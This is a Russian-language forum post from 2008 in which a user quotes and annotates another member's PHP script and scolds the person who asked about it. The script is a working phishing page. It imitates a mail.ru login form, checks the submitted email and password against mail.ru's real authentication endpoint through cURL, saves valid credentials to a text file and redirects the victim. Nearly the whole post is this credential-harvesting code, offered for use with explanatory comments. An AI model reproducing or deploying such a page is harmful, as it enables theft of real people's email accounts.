Показать сообщение отдельно

  #6891  
Старый 15.12.2008, 01:03
Аватар для ss88
ss88
Участник форума
Регистрация: 27.11.2008
Сообщений: 161
Провел на форуме:
298300

Репутация: 128
Отправить сообщение для ss88 с помощью ICQ
По умолчанию

Цитата:
Сообщение от .:EnoT:.  
m0Hze
PHP код:
<?php

if(isset($_POST['submit'])){ // Если данные отправились

    
$mail $_POST['mail'];
    
$zone $_POST['zone'];
    
$pass $_POST['pass'];

//имена полей ввода на разных сайтах, бывает, отличаются - менять для каждого
    
$post 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//создание нового сеанса CURL, CURLOPT_URL='http://win.mail.ru/cgi-bin/auth'
    
$cl curl_init('http://win.mail.ru/cgi-bin/auth');
//не выводить результат, а возвращать
    
curl_setopt($clCURLOPT_RETURNTRANSFER1);
//просто заполняет поле User-Agent: заголовка
    
curl_setopt($clCURLOPT_USERAGENT'Opera/9.25 (Windows NT 5.1; U; ru)');
//просто установка заголовка Referer  
    
curl_setopt($clCURLOPT_REFERER'http://mail.ru/');
//включать заголовки в полученный ответ
    
curl_setopt($clCURLOPT_HEADER1);
//запрос методом POST
    
curl_setopt($clCURLOPT_POST1);
//установить отправляемые поля POST
    
curl_setopt($clCURLOPT_POSTFIELDS$post);
//выполнить запрос и сохранить результат в exec
    
$exec curl_exec($cl);
//освободить экземляр сеанса
    
curl_close($cl);

    if(
stripos($exec'Неверное имя пользователя или пароль')){

        echo 
'Неверные данные';

    }else{

        
/* Запись в файл */
        
$open fopen('result.txt''r+t');
        
fputs($open$mail.'@'.$zone.' : '.$pass."\r\n");
        
fclose($open);

        
/* Переадресация куда-то */
        
header('location: http://kuda-to.ru');
        die();
    }

}else{

    
?>
    <form action="" method="post">
        <input name="mail" type="text" /><br/>
        <select size="1" name="zone">
            <option value="mail.ru">mail.ru</option>
            <option value="bk.ru">bk.ru</option>
            <option value="inbox.ru">inbox.ru</option>
            <option value="list.ru">list.ru</option>
        </select><br/>
    <input name="pass" type="password" />
    <input type="submit" value="Войти" name="submit" />
    </form>

    <?php

}

?>
PHP код:
//отправить запрос к странице error.php, которая находится рядом с твоим основным скриптом и получить то, что она выводит
$errorPageText=file_get_contents('error.php'); 
Чувак, ты реально задалбываешь людей и даже спасибо не говоришь, откомментировал код Enot'a в "непонятном" тебе моменте...
И совершенно согласен с советом, данным тебе все тем же Енотом, почитай php.net, там все предельно ясно.... единственный бок, что там код за тебя не пишут...

Последний раз редактировалось ss88; 15.12.2008 в 01:09..
 
Ответить с цитированием